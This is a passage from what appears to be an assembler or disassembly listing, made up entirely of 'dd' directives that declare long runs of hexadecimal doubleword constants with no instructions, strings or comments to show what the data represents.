174DA9FAh dd 0B8612D4h, 35EB9652h, 0D9762F00h, 70A8199h, 83B84233h dd 0C7C89201h, 68FCFED2h, 7DEB00B1h, 611AE17Fh, 10009601h dd 5F99C0A3h, 5B3C15h, 0FCF6C6EDh, 0DCB863F8h, 4C3A6A00h dd 10737E69h, 2CA900E2h, 0D5E7A1C9h, 0A83B9B33h, 29BCCEEh dd 6B56BA98h, 0A2F480B0h, 7A78BB4h, 0BD017F62h, 0B22DF07Eh dd 9126790Bh, 690E420Ah, 0FC7C9D81h, 6BF58C03h, 0C0749E9Fh dd 25F1D2h, 555A32CFh, 683F431Dh, 83BB1A00h, 9FE6D77Ch dd 0D6660E20h, 0C05EA56Bh, 0C2F2EE8h, 0A71FA358h, 28012B73h dd 95BD8C75h, 0DE80CCh, 9274590Bh, 90A255D6h, 6C895A0Eh dd 0DAAD40A4h, 9230497h, 9CD296F3h, 0C3FD0180h, 0D00E9581h dd 2229E0A4h, 0E01C7634h, 3F82D01h, 0DF19730Fh, 0B280C8AAh dd 3B0EB039h, 0B37BABA4h, 589DA203h, 2683C0C2h, 0EC633D8Dh dd 0F11B9187h, 4D8F803Fh, 0A600A232h, 7B5DDC1Ah, 46950Ah dd 0C16C6F84h, 0F882751Bh dd 79940300h, 0A3A42724h, 4EF100EFh, 10164777h, 0E0FDE41Bh dd 430F9C8Ch, 8FA7B1FDh, 0DC71803Eh, 3B8EC268h, 36802601h dd 0A0EC2848h, 500F867h, 5CCFD43Dh, 7D1E1D5h, 0CC6352EBh dd 0BA7B0BDh, 0ADF098C3h, 0D7CA5900h, 0D973E50Fh, 563D2C0Ah dd 3E7900B5h, 0DA70A363h, 1A4F8900h, 97AD2D83h, 37E000F1h dd 0A67C3066h, 0CF01C831h, 0C1CA2346h, 3F20933Ah, 0C0B1A2E0h dd 58C04A2Bh, 7DF122h, 9DAA76F8h, 72D57DB6h, 65DC670Fh dd 0D3F1600Bh, 3E3DAD34h, 8A80F911h, 0EF90CB88h, 573BC177h dd 7A8400FCh, 8EC347B6h, 0FEDD0049h, 88D0687Fh, 781F9895h dd 5C4BA87h, 4B80EEF8h, 1C3C462Ah, 409BCCBEh, 0B7BAD15Bh dd 0D0734411h, 0B98F553Eh, 0A0E18060h, 20051F93h, 414F0037h dd 9065B32Dh, 0B1077F0Dh, 0BD5D1AEDh, 0D66418B0h, 4F8E056h dd 0B63BD23Ch, 0B02B80DBh, 0FD58C5EAh, 15E10023h, 1B73FAEBh dd 66853AE0h, 0E70051BEh, 7B54E59Fh, 84038AFCh, 86233414h dd 0F8A293C0h, 0B4D039h, 0AE2DFBB3h, 9984E1Eh, 0FEEA7100h dd 88ECDB48h, 2A5F0074h, 0C603B98Dh, 24009E4Ch, 0CC2160E5h dd 0CA736h, 0E6A93726h, 87632AEDh, 3112B800h, 2BAD4DBFh dd 0F8E105D7h, 0C022793Fh, 0B9C0B4E0h, 2617A801h, 0EDF2A34Eh dd 0A070CAC5h, 7C5C0222h, 762CADE1h, 70CBD3E0h, 615730E3h dd 0B8A3DD03h, 0A0819697h, 0C8633Ah, 0FB359AEBh, 6AE31288h dd 9755F900h, 0D21E2A44h, 0D60F00E0h, 57E59ACBh, 66000906h dd 42809CFDh, 75411F6h, 0F2260BC1h, 7EF020DBh, 81264740h dd 5C004B32h, 5548EB0Fh, 0AB590062h, 29752377h, 9C07C84Ah dd 61B34F2Fh, 8060A8A0h, 0FA63009Bh, 0DEB81997h, 171FDC6Bh dd 4680F6BAh, 69FC6C1h, 8B3707D4h, 0B049ADC4h, 0CF62FADEh dd 6ABF0D0Bh, 6793003Fh, 0E4F51FA6h, 955D0018h, 934A772Fh dd 0D2001AD9h, 0EF4393Ch, 0FCC4D416h, 671400ADh, 1D0CD1EDh dd 3F70CE5Dh, 80C16B3Fh, 0BD5E0676h, 7C8717Fh, 8A0D0B9Ah dd 31B160DBh, 9B003E8Fh, 0FB793950h, 102BC9h, 5D38C40h dd 0D0B583E0h, 0DABE3000h, 0F15A4648h, 0A11E392Dh, 0E03BBC8h dd 0C4BD2FE4h, 55AAEFA0h, 0D100D3E2h, 4399057Ch, 1E59709Fh dd 80C65EBBh, 0A9066380h, 670E9574h, 6060499Eh, 0F7877ECDh dd 7040021h, 7547F659h, 9F01C78Ah, 992239CCh, 0BCCCE818h dd 0B91538A7h, 3E6FD324h, 533E6080h, 5481717Ah, 0F4BC4Ch dd 5F9F52FFh, 1F2F9978h, 0DF035945h, 0CA8DC3B4h, 79B0A6FCh dd 0A8FE46F2h, 590A351Dh, 0D852B240h, 0FC094E44h, 940C24EEh dd 9FDE00FAh, 542C21EAh, 3924500h, 0D8F9B947h, 0FE397364h dd 942600E9h, 8376680Ah, 0FD00E489h, 0F979B75h, 310B85h dd 0EFA8F503h, 308304E3h, 808B7B3Fh, 68885FA6h, 1CE94889h dd 40632F32h, 49421FE8h, 0B83AEBBAh, 888C17CCh, 0F3014E16h dd 0F0FD8516h, 1D932F0h, 0EF0D4E05h, 0F07E68ACh, 8C00AA97h dd 10143164h, 6A174Ah, 6879289Ah, 0B016298h, 0CBDCF900h dd 0E634BA0h, 5A56016Fh, 0A5D429D3h, 0BE4B70ABh, 0F6952700h dd 0F5507D02h, 9B1A3CECh, 82D2B803h, 0A76F5Dh, 0ADF7A99Ch dd 17E13800h, 41DAE339h, 7B8D00AEh, 0D340935Eh, 55F0C7A5h dd 0F1DFDC00h, 0E5BF8711h, 2C7B004Fh, 56CD303Fh, 180E24BDh dd 8301192Fh, 0AF6774BEh, 363AC380h, 65FC00F4h, 1E777EAAh dd 1817A8AEh, 561C9F27h, 396A9800h, 0E81C2B6h, 0BAB54E9Ch dd 35373DC1h, 0B002CC5Eh, 0D6D4F200h, 768A1D46h, 1E6B1E25h dd 6593C055h, 0BADA6F0Ah, 5405A400h, 51491F27h, 0D8D43B70h dd 0C93B2400h, 638ACD07h, 0C67E9A00h, 95B8E839h, 0D276077Ah dd 0E181D6E6h, 204EABC9h, 1400AAADh, 0DE3BF831h, 1DE81F98h dd 8171ED30h, 0A1F55284h, 0F19160CBh, 92FD7D01h, 0BE04D06Eh dd 4535C0h, 875383EDh, 44D5C2BCh, 0C322E800h, 3396F7C0h dd 0C5021C7Fh, 2D0F819Fh, 40D617BDh, 5A3A1E0h, 0D92ED800h dd 0B5C58DDFh, 0E0876043h, 0CA2F63F1h, 49A70F00h, 0C1AC1738h dd 0E24D0077h, 0C45D6654h, 110039AFh, 4E1CCB75h, 594A3Ch dd 766ABBE6h, 8506E88h, 32C08100h, 363D3461h, 0E84200D3h dd 18D61472h, 0A92EBBE5h, 880052AFh, 0B9415A99h, 964A0161h dd 0B62B694Bh, 0FE516044h, 76535C0Eh, 0B4C78010h, 286FA8h dd 71BA7F73h, 0C556E3CBh, 0C900397Ah, 8145EE4h, 16DC8ABh dd 0FDCC7DFBh, 0FC90881Fh, 6E18755Ah, 3B92577Eh, 38E0FEAh dd 4980561Dh, 0D1F0BBCAh, 79F8601h, 4FA8CC4Bh, 0F4060h dd 5727B919h, 9941CABDh, 0CC9B853Ah, 220700D3h, 8296E872h dd 0FB9F0784h, 0F08AE7ACh, 77B8937Fh, 0E11BF107h, 7941079Eh dd 48D87856h, 0F86F0009h, 35DF67C7h, 0CFFB34D5h, 2CD59D0h dd 3C2EE100h, 3F0103B4h, 0A45500C7h, 519F02Bh, 6A005D88h dd 0B4B281D7h, 3C39E8FCh, 7C00619Fh, 0C440D9F0h, 0EC0004EDh dd 0F4EEA8CDh, 6B9AD4h, 0F8270CDDh, 0ED2B1ADCh, 1B0340B8h dd 0E749DB67h, 3BFEF1B6h, 63C87131h, 0ECE20F76h, 0AF6018B2h dd 0C326719Ah, 0B0FA3E07h, 0C07FD7D0h, 0D1C0670Bh, 0AD8C006Ah dd 6EB65FEDh, 0DF714752h, 0F832231Eh, 45F391C0h, 27A6C4h dd 6DADACBBh, 0C9FCDDBh, 834CAA38h, 0F2152203h, 76C20510h dd 80F4EBF3h, 4593FD38h, 4D2EEC00h, 6D2CC06Eh, 2B7700BCh dd 3F3B05FFh, 3703C435h, 528D9CCCh, 0F7B1D06Ah, 7F2503D2h dd 0BAFE5EC0h, 0FA5CEAE8h, 0A100A198h, 7B652E5h, 0EC21BDh dd 5F689B97h, 0A7287354h, 0F7D8DF07h, 3820BE7Fh, 0DFD74h dd 68EEAFC1h, 14CA501Bh, 2D056E1Dh, 4C0023D7h, 7CA601ACh dd 0DC9507E8h, 60FA6A36h, 8D12B954h, 0B49D3E00h, 0B2837A8Eh dd 1E040175h, 47162F42h, 0D8EFDC55h, 77E7D500h, 4A92ACD0h dd 0F4DD014Fh, 315AE98Ch, 37B2F4AAh, 5702DFE4h, 68CDBCFBh dd 417B4062h, 0CAA50053h, 0B5A7EB46h, 5D0BAAE5h, 8095CF1Dh dd 0ECA9F655h, 0E1DC0321h, 497E6D45h, 65D8D5B3h, 1E0FF36Bh dd 4CE899h, 0FD1FF7C6h, 4E211FF9h, 0D765C05Bh, 0A2CF6E98h dd 80982379h, 0AB8A8C00h, 0A9D32A01h, 0BDB101B0h, 19599A6Dh dd 452BCC1Fh, 0BEE60600h, 0B214256Eh, 2B0BCh, 0EEB92013h dd 9070BD66h, 22C01A0Fh, 0F9786050h, 0B1BC88Ch, 8ECAE873h dd 7AAD5800h, 5900E6FCh, 0F1F02094h, 446F25h, 42CAF25Ah dd 83F4AE2Ah, 0E9077FFCh, 0F30E56B0h, 0FCBEDA00h, 5C220060h dd 0EB2A39ABh, 0FE00F494h, 0FD33AA8h, 0F89B91h, 5988528Ah dd 0C9FFA6ADh, 2238F500h, 3642555Ah, 0A3D01EDh, 3FECB482h dd 99C5F033h, 0C1BD231Eh, 1BB0807Bh, 6902EA03h, 42491DF1h dd 93B88009h, 7627C610h, 48B3B407h, 8950B50Ah, 9FA2DAh dd 0CD8783C3h, 854AB071h, 417D58h, 9436282Ch, 912B39h dd 17C7CA3Fh, 8E9B8116h, 3D893301h, 0B3BD9DA9h, 70D17CC0h dd 454E034Ah, 0E271494h, 8EE957C0h, 2E9CB501h, 0F67FD267h dd 9BC0CCh, 0ACBCCED9h, 16B3FA19h, 0A2B9EA00h, 36FCF043h dd 5B870956h, 0F400848Ah, 72F7DC5Fh, 2C4E6097h, 8CA3004Eh dd 33888BD6h, 37B8B344h, 1900DE7Ah, 0BFB43592h, 0BDE3A6h dd 265F7251h, 0C6F56AA1h, 83186C00h, 6EFA77C7h, 0B27B00AFh dd 0EE840CE8h, 52003812h, 2C63D39Bh, 31D487Ch, 0F4F94FDBh dd 598843Ch, 820CB8A9h, 0BAE0706Fh, 0A10C00B5h, 0AA257268h dd 4A0079E3h, 0D8AF712Eh dd 0C31CEBh, 17FD8ED6h, 838EA29h, 0B8CD7200h, 0B5F9D141h dd 9D983B93h, 0ACA40C8Ah, 0EC530FF7h, 843A2B42h, 272ED440h dd 0B00A1CE0h, 85F4453Fh, 0D1385300h, 0E41FE48h, 88F0714h dd 6D2A9FA0h, 0C500CF6Fh, 5D985EC3h, 790CA2B5h, 0F27A0070h dd 8D771A6Eh, 8600BB28h, 1B5FA735h, 3BA606h, 1F849462h dd 61CED0CDh, 130DCF00h, 43744DFFh, 0EBD200F8h, 8BC3B4AEh dd 0A1002016h, 514152Dh, 2521D97h, 1BA1E79h, 0C8C29907h dd 5AA3A160h, 0EFA21F01h, 889CB666h, 4EA6B240h, 7F8B00E6h dd 5A6414FCh, 0F801C95Dh, 7BD36E2Dh, 53D8275Bh, 485700A6h dd 297CF035h, 0F700721Ch, 88B2E459h, 7BE860A9h, 7C278BEh dd 4C5B70A6h, 0C4055090h, 7F0B4492h, 80AF5A79h, 0F96E29E1h dd 303C0017h, 745E7C98h, 664A89B0h, 0FC00EEBCh, 63C328F5h dd 0C501F6F4h, 3EB32EBEh, 44D0AA4Ah, 0DBB53D06h, 2B6F0070h dd 0DDC49078h, 401EDCD9h, 5780D6E4h, 0B3521FD7h, 128200ADh dd 0C0E6752Eh, 5A001928h, 194F93Eh, 3CFB2703h, 0A8074C0Fh dd 0B0664D7Ah, 1D961C7Ch, 0C2C44800h, 70748DCDh, 6340001Eh dd 0C98BD721h, 423D4190h, 0A83FF3h, 0A608E0Dh, 64DBD4h dd 1C388B26h, 77DA827Dh, 6FC96B0Fh, 0DFCE6089h, 2F7508h dd 9A31869Fh, 0B81274F8h, 0BF181500h, 0D98EF0EBh, 32DE0041h dd 392B79D4h, 2901C0E2h, 9E331B50h, 0D5D4D8B0h, 7E5F38BBh dd 0D1530070h, 2EA1E9F0h, 0A8002FF8h, 46180FD7h, 0F0EAB3ACh dd 0B1380055h, 6747F13Ah, 8600CD1Ch, 0E334F5EEh, 9EDDF58h dd 361D4D30h, 16238C00h, 1B009D85h, 516A1284h, 1F8E37Fh dd 1C02A66Bh, 3056E6C6h, 50BFF53Dh, 0FF9003D5h, 2A412E29h dd 0FB9C9DB0h, 1CBCC258h, 8800B164h, 0DE946581h, 484600D0h dd 5E8F5D7Fh, 0E400CC35h, 1AB83334h, 33FDFFCh, 0FF50EC03h dd 62884737h, 900E31Ch, 5BE2ADFBh, 3810C7h, 2B408476h dd 8A634983h, 0FA56F600h, 125B9822h, 771F0003h, 0A60A40ABh dd 0A0007B30h, 195EAD2Fh, 0FCEE61h, 16C154C2h, 0A43639D2h dd 0E17E8FE0h, 7D5E2303h, 0D9964EFBh, 0AE85548h, 0AB710062h dd 98970C75h, 7B00DDD8h, 14C0B50Fh, 1E35E1Ah, 6A749CF9h dd 0FC5C6015h, 0F1009BB9h, 0CBA5627Ch, 487033B2h, 16008991h dd 1BC7F6ABh, 1F7BE37Bh, 0D6F5A71Fh, 129F3C00h, 7722BE7h dd 808D5631h, 0E3486315h, 33B0BCD8h, 0B3ADDA50h, 710049E8h dd 234A739Bh, 1F816DAFh, 806B5D53h, 0A3C4C2FAh, 8F1D1BE1h dd 0AE404A31h, 45F72DA6h, 257500CAh, 0F529570Ch, 93EA7791h dd 7E00E875h, 6B539BC9h, 1FE3D225h, 3EBACF67h, 138649Eh dd 7D02C66Fh, 6BB3307Eh, 8B6E1E01h, 0E4DD742Ah, 27B0AF0h dd 3EFF81C7h, 0FD4020B2h, 67759195h, 0F1B1E200h, 8B4904DFh dd 0A33D3FCFh, 13031983h, 0DDA159C6h, 0B14EF036h, 6D042703h dd 0A815D8B3h, 7A381D29h, 138D009Bh, 1A17E573h, 783EE864h dd 9EE1050Bh, 8EC7B099h, 368931A0h, 0A8131F72h, 56833EFCh dd 588DA2D3h, 8BE4B5B8h, 90D54800h, 4CA7833Eh, 0D2E0035h dd 0B9F9606h, 0EC0407F2h, 0B548337Ah, 8AE73280h, 83F686h dd 0B1850EBEh, 0A4C278C8h, 0AAC1B0Fh, 43334039h, 11FA530h dd 0E1D2CB37h, 70926613h, 970027E4h, 7BFD2E87h, 1F18AFC2h dd 0C3C639ECh, 0C50CA768h, 7C5AEA07h, 90E78C02h, 0C74DCB30h dd 9C5F00E9h, 0DDF444B2h, 34E4BF97h, 7B4A8D00h, 0ADE77F17h dd 6F540E68h, 0FBE07CBDh, 0EFD208F2h, 91634400h, 736EBBE3h dd 0FF1500D4h, 0AAA82284h, 5D0788D3h, 8CA44AF0h, 9E4E1B50h dd 0A25103FFh, 77EC6950h, 4F4780BCh, 0C400A444h, 37E212D6h dd 0E9A17875h, 68EEE4h, 59B6FC3Ch, 9A6A3090h, 3AFFA500h dd 64AF3BBFh, 8C680063h, 48714117h, 0EA008547h, 7610E77Eh dd 0CF3DD2h, 18898808h, 0A62F3275h, 0C6D02C0Fh, 4E4D60FEh dd 5D7B88Eh, 3C076992h, 8D2CC02Fh, 2E0132F9h, 93D83AC6h dd 0B7E4B208h, 554700ADh, 777DBFE4h, 0D5FCDDEFh, 5349A00h dd 1CF7F676h, 82FEC8h, 6B7323EDh, 0BB9872EAh, 0EE49B500h dd 0C2A9369Eh, 0A0C60015h, 5BE8A4D9h, 951E0B83h, 1C2C919Bh dd 0CDC9003Fh, 2E517CBCh, 0ECE9000Eh, 0F6C333E2h, 4870A510h dd 1346CE00h, 8B3241B1h, 67A8385Ch, 0CBDB2784h, 4680AFFAh dd 62EDF8h, 3EF29DC3h, 874FE115h, 6DEFA600h, 7EB9215Dh dd 81DE004Ch, 96691BBFh, 550259BAh, 424D75E8h, 6627C041h dd 0D4CE000Bh, 6F9CCBEEh, 7407C8AAh, 0C4EB4A60h, 8DBB5230h dd 0B0FE00BAh, 8A6C3BC3h, 8F177224h, 83009914h, 0D9395DC2h dd 0A6D50197h, 0A10D9D1Bh, 1ADCD43Eh, 787DFB70h, 0AB4ED300h dd 0CCBB2752h, 85B200F4h, 13174AC7h, 0F6241121h, 66015CDEh dd 867FC262h, 0C08454E8h, 42BBE98Ch, 7C1C4B9Ah, 4D87B287h dd 4300F4B8h, 3C7BF37Fh, 3580EC6Dh, 70CFFD02h, 1C07320Ch dd 11C119F5h, 0CB04FA00h, 7C8703A4h, 7E104776h, 2FE024C3h dd 0B50F65FEh, 0E0AC5418h, 205A7357h, 0D2EA1E4Bh, 68D8338h dd 9F8884B2h, 0BE1F1A03h, 7745FCF7h, 308022F2h, 6BC436h dd 0C958B065h, 0D18B18B7h, 0AED03Ah, 0C42E917h, 8F3BECh dd 6D1D2C52h, 0D02EF65Fh, 0B5926900h, 6C314F3Eh, 4CA54875h dd 3404A000h, 7DEDD17Bh, 0DBAC0900h, 12D75089h, 0F6A20071h dd 0F2356C0Ch, 0E6001FD2h, 0E2A30153h, 0C9723Eh, 75D3E7FFh dd 33E567D0h, 5F7E0602h, 6068833Fh, 3C22E4Ah, 0F648D87Ch dd 49B0F4FBh, 51E92FEh, 0DB56072Ch, 0E5ADB000h, 0B6C55Fh dd 0CD84A2A1h, 19883FD4h, 0A0FCCB00h, 82AF2FDAh, 76A50070h dd 3CFAD9B1h, 0DC00AABCh, 429D3DA2h, 0A6E22Bh, 0C481307Eh dd 0DED0F562h, 0B153D71Eh, 8EC83A80h, 6186E0h, 84C1E775h dd 2E1E568h, 5A101E00h, 37317753h, 0B6A40099h, 21D0635Bh dd 220043FFh, 350489D6h, 0EC945A67h, 0BF551D81h, 3E91DD83h dd 387E8C80h, 0ECA2AE2h, 0C7D99617h, 0D40771Eh, 1E97F950h dd 85795Fh, 0E67A1882h, 8F5C6C90h, 2E658900h, 4DA85798h dd 35212C28h, 0EC2B019Fh, 60CA238Ah, 46003A6Dh, 4FD7B029h dd 9B4A2Dh, 12A942ACh, 1CF63BD2h, 0D341FE00h, 1B9819E3h dd 90B30066h, 0CBDDDAC2h, 0E600B416h, 0EEF1626Fh, 12EBF0h dd 2926ED89h, 0A6387DC6h, 222D5B00h, 0B71C2C8h, 9243003Fh dd 211BADDEh, 0FB3A90BDh, 24FD0F72h, 0A9E8671Ch, 0A4A2C4A0h dd 0C7080081h, 0D7864156h, 0F75B2BE3h, 0E2A0E0h, 0A7B5DAA3h dd 2253DC3Ah, 25387C00h, 55FED117h, 0BB5E0041h, 0D94FAF6Ch dd 9DEE7E7Ah, 4E069900h, 58B68A8Ch, 2B721Dh, 8FC87C49h dd 765E3BFh, 0F414AE00h, 94B9CFEAh, 572D00DDh, 7739114Dh dd 0E700B28Ah, 684F5D0Fh, 0CF3E8h, 9C71FC88h, 79C5A041h dd 0C890CF07h, 9F5026AAh, 0E00F72B4h, 0ABB60E3Ah, 7887BB9Ah dd 45A0802Eh, 0E8000727h, 0A98AE0CBh, 7830D40h, 87989CD9h dd 63E41046h, 7B0019DBh, 6C0E0568h, 0AA8F80h, 0C8AEA708h dd 99C30375h, 1A98A600h, 6E52F173h, 8B89002Bh, 520FD9Bh dd 0D100B65Ch, 0BB765965h, 0F5AAD9h, 0F8317DD3h, 0B1931D85h dd 44828E00h, 6B7F742Bh, 39B207AEh, 0F0695843h, 9A47864Ah dd 4DE23Eh, 0CF2DB804h, 70ABC9CDh, 5F990091h, 0D10FBB84h dd 3E009605h, 7CAA8A8Fh, 21FA6Bh, 3F37A47Bh, 0DE0EB66Ah dd 879CB900h, 0BBD0FCDDh dd 0E46501BEh, 4F5BCD2Ah, 3A51C04Eh, 8D6EE800h, 2CCAEC88h dd 58D43187h, 0F84C5FF0h, 4D009E9Ch, 45D7A3D5h, 74275C86h dd 98A900BCh, 2333C8F0h, 0D10078B1h, 0E60E0F7Fh, 610B28h dd 11668703h, 886EDC09h, 0EAD8E100h, 0D1507435h, 2AE0362h dd 0C6F04C72h, 5DCAE080h, 320061F6h, 0BB409B8Ah, 93E420h dd 75DC8360h, 381982Ah, 113E7200h, 9D99769Bh, 0A86E03E0h dd 0EA9C59FBh, 3591D9A0h, 3387FD00h, 983C713h, 0F4FC00DEh dd 0F59B1A0Ch, 41003DD7h, 780762A3h, 7C5506C4h, 87375CCCh dd 59DFA100h, 796C6FC3h, 1382753Bh, 0C900CE69h, 2CD0472h dd 0D6AD0945h, 805F15A2h, 0D8897D92h, 6FFF697h, 6D7149C5h dd 0B901F460h, 47C2B470h, 0A0FCE554h, 0E6EE00E8h, 0CC87413h dd 6D7EA6F4h, 679EE700h, 0BA5379AFh, 85BE001Bh, 91E273Ch dd 95E85881h, 54369300h, 0E651FAF0h, 6475D5h, 8D919A24h dd 186112C4h, 0BCB0042Eh, 4019A30Eh, 68E02D9Dh, 0A4BB008Bh dd 75942CA1h, 82EEFC7Dh, 26A70700h, 4F23134Dh, 0CD1400DCh dd 0F6223A53h, 5B000B5Eh, 0F857E69Ch, 5C02E5h, 50E0DC7h dd 22F9B445h, 1A008D7Eh, 0CBF5E875h, 0E44AA1h, 817A534h dd 0FDBE7B60h, 79F69600h, 0A03DB023h, 0E247007Ah, 14136264h dd 990367F0h, 45F9E087h, 6B2087ACh, 0F2651FF4h, 0A7F500F1h dd 52AF32E7h, 893E9836h, 0E8310079h, 0B29C02A2h, 23FB009Fh dd 6187B8CEh, 71004D98h, 0EB2B30A7h, 0D85259h, 2DEFFD4Eh dd 0F2C38ACDh, 3A1E707h, 21009567h, 1D0FE8E1h, 0FD50177Eh dd 0BCBDB807h, 0B335A0ECh, 32008F2Dh, 0D5CA66E9h, 1DFBA013h dd 80999E95h, 0F50C5D5Ch, 9D0E3723h, 60F04091h, 2847512Bh dd 8E73FFh, 59F894BDh, 9A6FBE5Ah, 874D1D00h, 0D9E448C6h dd 0FE8C3A67h, 0BB881B80h, 91457271h, 6D936F00h, 9A151803h dd 22A700ECh, 9C85677Fh, 70B8303Ah, 0BC12BE07h, 8E802F03h dd 3D6C754Fh, 918065F6h, 0EF347F09h, 6B00853Dh, 545DBF63h dd 3CB4CF32h, 8A8F9729h, 5A001259h, 0A35BFF7Bh, 20F4F100h dd 0DFDA6E68h, 74AC009Ch, 102B8586h, 0AA12BE3Eh, 0AF008CF2h dd 37B34A40h, 484D00DCh, 0E2CC134h, 0E100E6E7h, 21AD4E8Eh dd 479366h, 0C459F057h, 2203B8CAh, 2AC01F00h, 421698DEh dd 3F8D00F7h, 0B2FF1A2Bh, 8870471Dh, 7C59AB01h, 0EC90EB24h dd 7D8CCCFCh, 0FE50065h, 0DB444B63h, 0CB03FA9Bh, 732A20AAh dd 1E26E0EAh, 0BA11D92h, 0BC03C094h, 0C45C3289h, 72EA0900h dd 9B2AAE1Bh, 85210034h, 69D16E8Dh, 6B00AD59h, 534E0E58h dd 682D15h, 6C38E4F6h, 8FB59C37h, 0AD00D57Ch, 36CDF899h dd 0EA6D6077h, 2ECC0305h, 6E733810h, 235D35F0h, 0BED83A07h dd 0A310C4B7h, 0A986905h, 51823120h, 0BC0E1DB4h, 63910B00h dd 0F2B0DDFBh, 29171075h, 0C6006D6Bh, 5E748568h, 0E3AA004Ch dd 0B1D469DDh, 45778979h, 39DC6C00h, 0FE105E82h, 9AD800FCh dd 0C8B07324h, 22005913h, 2DCBEBFDh, 0B62526h, 3F93CC98h dd 386F3351h, 57600E00h, 46D7C562h, 0FDD60052h, 580D31F3h dd 4078E47h, 8971DDF6h, 30FBCE10h, 0E5500148h, 0F264D7E7h dd 2DD84317h, 49CBA00h, 8207FF31h, 335701E0h, 11BF5CA0h dd 0C45EF815h, 6D73CF0Fh, 639E9F71h, 0F66609h, 0AD0C87B0h dd 4D470028h, 5FD31750h, 665CBDE0h, 7200124h, 71DBAA10h dd 0FCB1ACD4h, 7E6901D6h, 0C222572h, 0E0DAD93Ah, 23F8B76Fh dd 7600BFF4h, 0A441EB06h, 1A0257h, 0AF3A5679h, 7F2A8612h dd 34F61300h, 0AADF04D6h, 0B0AE00C1h, 38314EB6h, 0D1F6D275h dd 180CF4EDh, 7F649B00h, 0FEF2471Fh, 52FF1DB8h, 8E33406Ah dd 262EA57Ah, 0FC833Fh, 1D0A55CDh, 1E10FD21h, 0D27ECF91h dd 86D30018h, 6294AFDFh, 6FF62801h, 9734FB46h, 4231F0h dd 51D0EC1Dh, 39A0BAF1h, 309EC100h, 71B656C4h, 0CAF7005Dh dd 47388116h, 0D00F272h, 0E07C9D0Ch, 5E7DE8EDh, 91AC3Ah dd 3B25BFB4h, 7FF6E62Bh, 0B1F80015h, 0FF1650D3h, 6100D97Bh dd 67F35B20h, 0BCC06Dh, 0EF25F1E6h, 94C78295h, 0C27E38h dd 5F8DFA98h, 422CF5h, 4AB4BDC8h, 0BA76653Ah, 40055200h dd 55965137h, 316E0046h, 0D6D1CD1Bh, 6100F86Ah, 6D26058Fh dd 7C9EF81h, 844725C6h, 12F53046h, 0DE0094ECh, 0B2305D7Bh dd 2C923Fh, 0CC8C0A8Fh, 3AE547CFh, 8B29FD00h, 0BF52F0FEh dd 0F8782Ah, 0C822A86Dh, 6E4F3CC5h, 27B5F200h, 0CFF751A2h dd 0DA45051Eh, 0C02D7FBCh, 34142141h, 975EE139h, 0CC006758h dd 0B761D0F8h, 0B65D0060h, 8A013E7Ch, 0D80099B0h, 0EB515A23h dd 7153172h, 4AFC9CEh, 0AD6B04Eh, 8B003237h, 31BD2921h dd 1F56C102h, 0EB5CBEh, 2A3F83D1h, 9F00B1DCh, 0F3352782h dd 7A170A43h, 807F7Fh, 0C5988D68h, 87D12995h, 55346D00h dd 0EB8F8C17h, 3CC000B6h, 0B95C22F4h, 5A00ED2Bh, 0E4051850h dd 343895h, 0E233EB2Eh, 7EA38297h, 0BEE91500h, 0B172AF9h dd 0B59A0064h, 4755ACF5h, 9F009896h, 68B31DE9h, 0E5C8E1h dd 76F82CD8h, 2829D251h, 0CB0FD900h, 9257AC17h, 0EFC705DBh dd 0C0BD7921h, 1A701672h, 0B000E277h, 0C91D11E4h, 0C0716374h dd 315A4146h, 0EE03651Eh, 86B8750Ah, 0C435D843h, 6AF30013h dd 97CC994Bh, 1A0031C8h, 590C06C2h, 508539A3h, 37BFE2h dd 48925E3Bh, 0BDA2DC9Fh, 63051207h, 0AA40B914h, 0E613E8Ch dd 543BB41Dh, 1BA862C3h, 0D9F1B398h, 7B209600h, 0EBEECD80h dd 9EEC00C6h, 51DD3D41h, 9F005F3Ch, 214ED443h, 151E28h dd 9C489E82h, 0A232AA1Ah, 6A242D07h, 6B2F4Ch, 671DC812h dd 720600F8h, 29274DB2h, 70008805h, 7ADD036Ch, 996FBAh dd 0B184EA74h, 8F48693Dh, 83B3E400h, 0AF3E0FBDh, 8A81012Eh dd 1ED6AAF7h, 0A13DEC40h, 0BDE1A600h, 30DB8368h, 51CC024Ah dd 0AB5A5FDEh, 544E74E0h, 13B51003h, 0F87CC2C4h, 0C3EA65h dd 0DEAE35FAh, 7B15DABFh, 57091600h, 6ED57F45h, 83941D80h dd 5C36804Fh, 2908CB8h, 0C725AA0Fh, 16862020h, 125D29B0h dd 753CC0Fh, 300D6192h, 2C79EE22h, 43DC9500h, 9F3E270h dd 9D362E7Ah, 0EA003E25h, 4F7DBF60h, 5C3CE703h, 98870058h dd 8C7F71BEh, 0C91A03F0h, 6813A407h, 9E1D4B8h, 0A0B26100h dd 8E199D3Bh, 0D0490193h, 2CACDF1Fh, 9C60D497h, 0F277BD00h dd 0A2D54D2Bh, 156D0036h, 7DAAC09Bh, 1600D047h, 9C62FE4Bh dd 825FA3h, 2B8B1237h, 0AADE58B7h, 9075D6FAh, 3D4B0307h dd 80002E66h, 430CA8h, 74120B44h, 0B88CF1A1h, 0E4017CE2h dd 111BBFFBh, 303493h, 0E660FDAEh, 3181005Fh, 0DB56614Ch dd 86009D10h, 0F57B34Dh, 7FC97D2h, 64997C96h, 0BA1880BBh dd 200A2F2h, 69EA7246h, 0E5B0D5h, 2A06FB08h, 60E8849Eh dd 0BD0AFD00h, 0D9911DCBh, 68ED1DF0h, 5C668764h, 86AC3002h dd 7B3F4853h, 0E7B20765h, 33006F07h, 3A9A8Dh, 0E0EABADCh dd 31C3ACEFh, 0BD537807h, 0C710760Bh, 0C4CF1Ch, 807CC9BAh dd 61FDF87Dh, 82A17E00h, 0F2251295h, 3B6A00C3h, 5DBC1D26h dd 9900A6F3h, 787EA852h, 0C7CCC8h, 0F6BA359Ah, 0B93B3F90h dd 40A5A00h, 0FEE0758Ch, 388BE866h, 0EC8F432Fh, 8240E74Dh dd 0BDACF6F5h, 8D8E5C03h, 0F8ED3950h, 0FC979C0h, 8CAB2E02h dd 6F4DA8A0h, 1607AD64h, 379DD59Fh, 0AA2C7EE0h, 3DEFFCCAh dd 88877DC7h, 50792A76h dd 5C484296h, 4E8EA603h, 0C116F73Fh, 0C3204A3Eh, 0E8AA0FF9h dd 17F9229h, 16ACA9Ah, 0F89F21D8h, 0A80728EEh, 4419B2BCh dd 8B96C2C0h, 0E650085h, 93C1E966h, 247390BFh, 2AEC870Ah dd 0C800E3EDh, 5564D6A3h, 0F407CC3h, 0D71A9F01h, 450F6540h dd 0EE0041EDh, 0EFE83919h, 0A8C78Fh, 21E61AF2h, 